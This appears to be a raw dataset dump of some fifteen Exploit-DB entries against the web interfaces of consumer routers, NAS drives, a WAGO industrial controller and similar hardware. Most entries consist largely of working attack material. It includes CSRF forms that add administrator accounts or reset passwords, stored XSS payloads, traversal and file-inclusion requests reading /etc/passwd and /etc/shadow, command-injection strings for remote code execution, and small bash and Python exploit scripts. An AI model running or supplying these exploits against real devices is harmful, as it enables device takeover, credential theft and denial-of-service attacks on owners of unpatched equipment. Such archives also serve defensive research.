deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45252
Description: Vox TG790 ADSL Router - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2018-08-24
Author: cakes

Exploit:
# Title: Vox TG790 ADSL Router - Cross-Site Request Forgery (Add Admin)
# Author: Cakes
# Exploit Date: 2018-08-01
# Vendor: Vox Telecom
# Link: https://www.vox.co.za/
# Firmware Version: 6.2.W.1
# CVE: N/A

# Description
# Due to improper session management low privilege users are able to create 
# administrator accounts through a crafted POST request. 

# PoC

<html>
<form action="https://TARGET/cgi/b/users/cfg/usraccedit/?be=0&l0=2&l1=9&tid=ADD_USER" method="POST">
<input type="hidden" name="0" id="0" value="10">
<input type="hidden" name="1" id="1" value="usrAccApply">
<input type="hidden" name="34" id="34" value="LulzCakes">
<input type="hidden" name="36" id="36" value="1">
<input type="text" name="33" id="33" placeholder="Account Name">
<br />
<input type="text" name="31" id="31" value="Administrator">
<br />
<input type="submit" value="W00ts">
</form>
</html>
Exploit-DB #45310
Description: Vox TG790 ADSL Router - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-08-31
Author: cakes

Exploit:
# Title: Vox TG790 ADSL Router - Cross-Site Scripting
# Author: Cakes
# Exploit Date: 2018-08-01
# Vendor: Vox Telecom
# Link: https://www.vox.co.za/
# Firmware Version: 6.2.W.1
# CVE: N/A
 
# Description
# Due to improper user iunput management low privilege users are able to create 
# a persistent Cross-Site scripting attack via the phone book function. 
 
# PoC
POST /cgi/b/_voip_/phonebook/?be=0&l0=2&l1=1&name= HTTP/1.1
Host: 192.168.1.254
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://192.168.1.254/cgi/b/_voip_/pb/?be=0&l0=2&l1=1&name=
Authorization: Digest username="cakes", realm="SpeedTouch", nonce="0745EHNLF:00-1D-68-52-6C-37:173934:292999", uri="/cgi/b/_voip_/phonebook/?be=0&l0=2&l1=1&name=", response="ab09b54d4b[PII_REDACTED]eb79cfb4b1c2", qop=auth, nc=0000002a, cnonce="8305e26a71dd0ae2"
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

0=10&1=&100=Cakes&101=Cakes&102=123123&103=123123123&104=123123&105=123123&106=<script>altert("TESTER");</script>

# Response
HTTP/1.0 200 OK
Cache-Control: no-cache
Expires: -1
Content-Type: text/html
Exploit-DB #45581
Description: WAGO 750-881 01.09.18 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-10-11
Author: SecuNinja

Exploit:
# Exploit Title: WAGO 750-881 01.09.18 - Cross-Site Scripting
# Date: 2018-08-30
# Exploit Author: SecuNinja (@secuninja)
# Vendor Homepage: wago.com
# Version: 01.09.18(13) and earlier
# Affected Products: Ethernet Controller 750-881 - 01.09.18(13), 01.08.01 (10)
# CVE : N/A

# Description
# WAGO 750-881 Ethernet Controller devices, versions 01.09.18(13) and before, 
# have XSS in the SNMP configuration via the webserv/cplcfg/snmp.ssi
# SNMP_DESC or SNMP_LOC_SNMP_CONT field.

# PoC
# http://ip.address/webserv/cplcfg/snmp.ssi FORM fields SNMP_DESC, SNMP_LOC_SNMP_CONT
# Exploit String "<svg/onload=alert(1)>
# http-post-data:
SNMP_DESC=%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E&SNMP_LOC%22%3E%3Csvg%2Fonload%3Dalert%282%29%3E&SNMP_CONT=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&SNMP_V1V2_ENABLE=SNMP_V1V2_ENABLE&SNMP1_LCOM_NAME=public&SNMP_TR_V1V2_1_IP=0.0.0.0&SNMP1_COM_NAME=public&SNMP_V1V2_TR1_VERSION=SNMP_V1V2_TR1_VERSION1&SNMP_TR_V1V2_2_IP=0.0.0.0&SNMP2_COM_NAME=public&SNMP_V1V2_TR2_VERSION=SNMP_V1V2_TR2_VERSION1&SUBMIT=SUBMIT
Exploit-DB #23995
Description: Watson Management Console 4.11.2.G - Directory Traversal
Type: webapps
Platform: hardware
Date: 2013-01-09
Author: Dhruv Shah

Exploit:
# Exploit Title: Watson Management Console Directory Traversal Vulnerability
# Google Dork: allintitle:Watson Management Console
# Contacted Vendor : 17/12/2012 as well as 31/12/2012 The Vendor Did
Not Respond .
# Date: 1/2/2013
# Exploit Author: Dhruv Shah
# Vendor Homepage: http://www.schmid-telecom.com/
# Software Link: N/A
# Version: 441A800W0G (4.11.2.G)
# Platform:Hardware

Watson Management Console is a ( Watson SHDSL Router 2p 8xEthernet Tabletop )

It has been found that Watson Management Console is prone to a
directory traversal vulnerability. The issue is due to the server's
failure to properly validate user supplied http requests.

This issue may allow an attacker to escape the web server root
directory and view any web server readable files. Information acquired
by exploiting this issue may be used to aid further attacks against a
vulnerable system.

http://www.example.com

in burpsuite proxy or any proxy http request proxy that u use edit the
Request paramater to

GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
HTTP/1.1

-- 
Regards
Snypter a.k.a Dhruv Shah
http://blog.snypter.com
http://www.youtube.com/snypter
http://www.facebook.com/dhruvshahs
Exploit-DB #50991
Description: Wavlink WN530HG4 - Password Disclosure
Type: webapps
Platform: hardware
Date: 2022-08-01
Author: Ahmed Alroky

Exploit:
# Exploit Title: Wavlink WN530HG4 - Password Disclosure
# Date: 2022-06-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M30HG4.V5030.191116
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34047
# Tested on: Windows

# Exploit

view-source:http://IP_address/set_safety.shtml?r=52300
search for var syspasswd="
you will find the username and the password
Exploit-DB #50989
Description: Wavlink WN533A8 - Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2022-08-01
Author: Ahmed Alroky

Exploit:
# Exploit Title: Wavlink WN533A8 - Cross-Site Scripting (XSS)
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M33A8.V5030.190716
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34048
# Tested on: Windows

# Poc code
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://IP_ADDRESS/cgi-bin/login.cgi" method="POST">
      <input type="hidden" name="newUI" value="1" />
      <input type="hidden" name="page" value="login" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="langChange" value="0" />
     <input type="hidden" name="ipaddr" value="196&#46;219&#46;234&#46;10" />
      <input type="hidden" name="login&#95;page" value="x"&#41;&#59;alert&#40;9&#41;&#59;x&#61;&#40;"" />
      <input type="hidden" name="homepage" value="main&#46;shtml" />
      <input type="hidden" name="sysinitpage" value="sysinit&#46;shtml" />
      <input type="hidden" name="wizardpage" value="wiz&#46;shtml" />
      <input type="hidden" name="hostname" value="59&#46;148&#46;80&#46;138" />
      <input type="hidden" name="key" value="M94947765" />
      <input type="hidden" name="password" value="ab4e98e4640b6c1ee88574ec0f13f908" />
      <input type="hidden" name="lang&#95;select" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50990
Description: Wavlink WN533A8 - Password Disclosure
Type: webapps
Platform: hardware
Date: 2022-08-01
Author: Ahmed Alroky

Exploit:
# Exploit Title: Wavlink WN533A8 - Password Disclosure
# Date: 2022-06-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M33A8.V5030.190716
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34046
# Tested on: Windows

# Exploit

view-source:http://IP_ADDRESS/sysinit.shtml
search for var syspasswd="
you will find the username and the password
Exploit-DB #29612
Description: WBR-3406 Wireless Broadband NAT Router - Web-Console Password Change Bypass / Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2013-11-15
Author: Yakir Wizman

Exploit:
# -----------------------------------------------------------
# WBR-3406 Wireless Broadband NAT Router Web-Console Password Change Bypass & CSRF Vulnerability
# This PoC code should do two main things:
# 1. Cross Site Request Forgery (For more information, just google it).
# 2. This code change to new password without know the current password.
# The vulnerability work in a way that if we remove the "PA=" parameter which is the current password
# the application ignore that and change the password without even entering the old / current password.
# Bug discovered by Pr0T3cT10n AKA Yakir Wizman, <yakir.wizman@gmail.com>
# Date 17/08/2012
# Vendor site - http://www.level1.com/
# ISRAEL
# -----------------------------------------------------------
#       Author will be not responsible for any damage.
# -----------------------------------------------------------
# PoC EXPLOIT
# -----------------------------------------------------------
<html>
	<body>
		<form action="http://192.168.123.254/cgi-bin/pass" method="POST">
			<input type="hidden" name="rc" value="@" />
			<input type="hidden" name="Pa" value="1234567" />
			<input type="hidden" name="P1" value="1234567" />
			<input type="hidden" name="rd" value="atbox" />
			<input type="submit" value="Submit form" />
		</form>
	</body>
</html>

# -----------------------------------------------------------
Exploit-DB #41147
Description: WD My Cloud Mirror 2.11.153 - Authentication Bypass / Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-01-24
Author: Kacper Szurek

Exploit:
# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
# Date: 24.01.2017
# Software Link: https://www.wdc.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
 
1. Description

It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.

It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.

https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html

2. Proof of Concept

For RCE simply use as username:

a" || your_command_to_execute || "

For authentication bypass set COOKIES:

username=1; isAdmin=1

and then visit for example php/users.php
Exploit-DB #42326
Description: WDTV Live SMP 2.03.20 - Remote Password Reset
Type: webapps
Platform: hardware
Date: 2017-07-14
Author: Sw1tCh

Exploit:
#######################################################
## WDTV Live SMP Remote Password Reset Vulnerability ##
#######################################################

Date: Jul 14 2017
Author: sw1tch
Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/
Description: A simple remotely exploitable web application vulnerability
for the WDTV Live Streaming Media Player and possibly other WDTV systems.

-INTRO-

The WDTV Live SMP is a is a consumer device produced by Western Digital
that plays videos, images, and music from USB drives. It can play
high-definition video through an HDMI port, and standard video through
composite video cables. It can play most common video and audio formats. As
of August 2016, the WDTV appears to be discontinued.

The latest firmware version appears to be 2.03.20.

-VULNERABILITY-

The WDTV Live SMP runs an embedded webserver, allowing authenticated users
to upload themes, manage device settings, access a virtual remote and other
tasks. To authenticate, a user needs to provide the correct password (no
username).

An unauthenticated attacker can update the password via a constructed GET
request, subsequently taking control of many functions of the device.

Vulnerable versions include at least firmware 2.03.20, and likely many more
older versions.

-POC-

#!/bin/bash

echo
echo "WDTV Live SMP Admin Password Reset Exploit"
echo "Apparently sw1tch found this guff in 2017"
echo
if [ $# != 2 ]; then
  echo "Usage: `basename $0` <target IP/host> <new password>"
echo
  exit $ERR_ARG
fi

# Vars...
target=$1
password=$2

echo -n "[*] Slamming your chosen password at $target now..."
curl "http://$target/DB/modfiy_pw.php" -d "[CREDENTIAL_REDACTED]"
echo "done!"
echo "[*] Try logging in to http://$target/ using $password"
echo
exit 0

-FIX-

None available. Device appears to be EOL so unlikely to be remediated.

--------------------------------------------------------------------------------------------------------------------------------
Exploit-DB #47399
Description: Western Digital My Book World II NAS 1.02.12 - Authentication Bypass / Command Execution
Type: webapps
Platform: hardware
Date: 2019-09-19
Author: Noman Riffat

Exploit:
# Exploit Title: Western Digital My Book World II NAS <= 1.02.12 - Broken Authentication to RCE
# Google Dork: intitle:"My Book World Edition - MyBookWorld"
# Date: 19th Sep, 2019
# Exploit Author: Noman Riffat, National Security Services Group (NSSG)
# Vendor Homepage: https://wd.com/
# Software Link: https://support.wdc.com/downloads.aspx?p=130&lang=en
# Version: <= 1.02.12
# Tested on: Firmware
# CVE : CVE-2019-16399
POST /admin/system_advanced.php?lang=en HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 241
orig_ssl_key=&orig_ssl_certificate=&submit_type=ssh&current_ssh=&enablessh=yes&Submit=Submit&ssl_certificate=Paste+a+signed+certificate+in+X.509+PEM+format+here.&ssl_key=Paste+a+RSA+private+key+in+PEM+format+here.&hddstandby=on&ledcontrol=on
/*
The default password for SSH is 'welc0me' and the only security measure preventing SSH Login is the disabled SSH Port and it can be enabled with above POST Header. The attacker can then login to SSH Port with default password. WD My Book World II NAS is very outdated hardware and Western Digitial may never release update for it. It is still using PHP 4 so it has more potential of Remote Exploits. All firmwares listed at https://support.wdc.com/downloads.aspx?p=130&lang=en are vulnerable.
There is no update coming probably and if you want to remain safe, abandon this NAS and switch to the latest hardware.
*/
Security Researcher - Noman Riffat, National Security Services Group (NSSG)
@nomanriffat, @nssgoman
Exploit-DB #27288
Description: Western Digital My Net Wireless Routers - Password Disclosure
Type: webapps
Platform: hardware
Date: 2013-08-02
Author: Kyle Lovett

Exploit:
Vulnerable Systems:
Western Digital My Net Series Wireless Routers:
N600  Firmware 1.03.12
N600  Firmware 1.04.16

N750  Firmware 1.03.12
N750  Firmware 1.04.16

N900  Firmware 1.05.12
N900  Firmware 1.06.18
N900  Firmware 1.06.28

N900C Firmware 1.05.12
N900C Firmware 1.06.18
N900C Firmware 1.06.28

CVE 2013-5006
CWE-256 Plaintext Storage of a Password
CVSS Base Score    4.3
CVSS Impact Subscore     2.9
Cvss Expoit Score   8.6
(AV:N/AC:M/Au:N/C:P/I:N/A:N/E:POC/RL:U/RC:UR/CDP:H/TD:H/CR:H/IR:H/AR:H)

Proof of concept:
curl -s http://<IP>:8080/main_internet.php? | egrep -i 'var pass'

which will give an output similar to this ex:
var pass="";

Details:
By sending a specially crafted command to the affected routers, the clear text password for the admin account can be extracted, with no authentication required to access the page where it is stored.

During the initial setup of these four routers with the affected firmware, the admin password is stored in clear text on the main_internet.php? source code page as the value for 'var pass'. For this bug to exploitable from a remote network attack, UPnP and remote administrative access (port 8080 is set by default) must be enabled.

The vendor has not responded to any inquiries concerning the bug.

External Sources:
OSVDB - http://www.osvdb.org/show/osvdb/95519
CVE-Mitre - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5006
IBM xforce - http://xforce.iss.net/xforce/xfdb/85903
Bugtraq/SecList - http://www.securityfocus.com/archive/1/527433
Security Database - http://www.security-database.com/detail.php?alert=CVE-2013-5006

Vendor's Network Router Product Pages:
http://www.wdc.com/en/products/network/routers/
http://support.wdc.com/download/notes/My_Net_N900C_FW_Release_Notes_1.07.16.pdf?v=9564
http://support.wdc.com/download/notes/My_Net_N900_FW_Release_Notes_1.07.16.pdf?v=7436
http://support.wdc.com/download/notes/My_Net_N750_FW_Release_Notes_1_04_16.pdf?v=6879
http://support.wdc.com/download/notes/My_Net_N600_FW_Release_Notes_1_04_16.pdf?v=4950

Additional Notes/Fixes/Workarounds:

Firmware notes: N900 and N900C with firmware 1.07.16 released on 05/2013 fixes the bug. It is advised that users with the N900 or N900C upgrade to 1.07.16.  Earlier firmware releases of 1.02.02, 1.03.11 and 1.04.08 are unaffected.

N600 and N750 with the earlier firmware 1.01.04 and 1.01.20 are unaffected by this bug. Firmware 1.02.08 was not tested. The 'workaround' for these two model routers, which will only stop network side attacks, is for the end user to disable remote administrative access capabilities.

Discovered - 07-02-2013
Updated - 07-31-2013
Research Contact - K Lovett
Affiliation - SUSnet
Exploit-DB #38914
Description: WIMAX MT711x - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2015-12-09
Author: alimp5

Exploit:
### Exploit Title: WIMAX MT711x - Multiple Vulnerabilities
### Date: ˝Friday, ˝December ˝11, ˝2015
### Exploit/Vulnerability Author: Alireza Azimzadeh Milani (alimp5)
### Vendor Homepage: http://www.seowonintech.co.kr/en/
### Version: V_3_11_14_9_CPE
### Tested on: Kali-Linux

I'm an ethical penetration tester and super moderator of Iran Security Team(http://irsecteam.org)
I have updated the modem to latest firmware which released by the company.
but with this work(upgrading the firmware); The attacker can bypass the authentication mechanism.  

### Details of MT711x model:
Version Information:
Build Time 	 2014.08.18-11:49
CPE Ver 	 1.0.9
MTK FW Ver 	 EX_REL_MT711x_V_3_11_14_9_CPE
Serial Number 	 IRMB1351C9[PII_REDACTED]

I used below tools to find the vulnerabilities:
1)BurpSuite - Free Edition     2)wget      3)Nmap


### POCs of the modem:
#Get the WIFI settings>>
wget -c "http://server/cgi-bin/multi_wifi.cgi"

#Get Wimax credentials>>
wget -c "http://server/cgi-bin/wccm_wimax_setting.cgi"

#Enable and Disable connections to modem (as default those are ENABLED)>>
http://server/cgi-bin/remote.cgi


#Ping a system (useful for launching (D)DOS attack)>>
POST /cgi-bin/diagnostic.cgi HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/cgi-bin/diagnostic.cgi
Cookie: login=; login=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
select_mode_ping=on&ping_ipaddr=4.2.2.4&ping_count=10&trace_ipaddr=&trace_max_ttl=6&trace_qoeries_num=3&trace_report_only_hidden=0&action=Apply&html_view=ping

#Change the password of ADMIN account:
POST /cgi-bin/pw.cgi HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/cgi-bin/pw.cgi
Cookie: login=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
isp_name=mobinnet&pw_set_select=admin&passPass=admin&passCfirm=admin&action=Apply


### Conclusion: 
1)the attacker can read sensitive information and set it on his own modem. such: for using free internet.
2)Anyone who can send a packet to the modem for crashing/downgrading/DOS.
3)To obtain the control of similar modem(MT711x) in order to launching DOS or DDOS attacks on targets in WWW(world wide web).  


At the end, I am thankful and I wait for your response.
Exploit-DB #42547
Description: Wireless Repeater BE126 - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2017-08-23
Author: Hay Mizrachi

Exploit:
# Exploit Title:  WIFI Repeater BE126 – Local File Inclusion
# Date Publish: 23/08/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi

# Contact: haymizrachi@gmail.com, komerk0@gmail.com
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04

# CVE: CVE-2017-8770

1 - Description:

'getpage' HTTP parameter is not escaped in include file,

Which allow us to include local files with a root privilege user, aka /etc/password,
/etc/shadow and so on.

2 - Proof of Concept:

http://Target/cgi-bin/webproc?getpage=[LFI]

 

/etc/passwd:

http://Target/cgi-bin/webproc?getpage=../../../../etc/passwd&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard


#root:x:0:0:root:/root:/bin/bash

root:x:0:0:root:/root:/bin/sh

#tw:x:504:504::/home/tw:/bin/bash

#tw:x:504:504::/home/tw:/bin/msh

 

/etc/shadow;

 

http://Target/cgi-bin/webproc?getpage=../../../../etc/shadow&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard

 

import urllib2, httplib, sys
 
'''
	LFI PoC By Hay and Omer
'''
 
print "[+] cgi-bin/webproc exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"
 
ip_add = sys.argv[1]
fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')
 
print "Exploiting....."
print '\n'
URL = "http://" + ip_add + "/cgi-bin/webproc?getpage=/" + fd + "&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard"
print urllib2.urlopen(URL).read()
Exploit-DB #42608
Description: Wireless Repeater BE126 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-09-04
Author: Hay Mizrachi

Exploit:
# Exploit Title:  WIFI Repeater BE126 – Remote Code Execution
# Date Publish: 09/09/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi

# Contact: haymizrachi@gmail.com, komerk0@gmail.com
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04

# CVE: CVE-2017-13713

1 - Description:

HTTP POST request that contains user parmater which can give us to run
Remote Code Execution to the device.
The parameter is not sanitized at all, which cause him to be vulnerable.


2 - Proof of Concept:

curl -d "name=HTTP&url="http://www.test.com&user=;echo hacked!! >
/var/mycode;&[CREDENTIAL_REDACTED]=8&dir=a"
--cookie "Cookie: sessionsid=XXXXX; auth=ok expires=Sun, 15-May-2112
01:45:46 GMT; langmanulset=yes;
sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us"
-X POST http://beconnected.client/cgi-bin/webupg

3 - Timeline:

29/4/2017 – Vulnerability Discovered.
29/4/2017 - Vendor not responding.
03/09/2017 – Exploit published.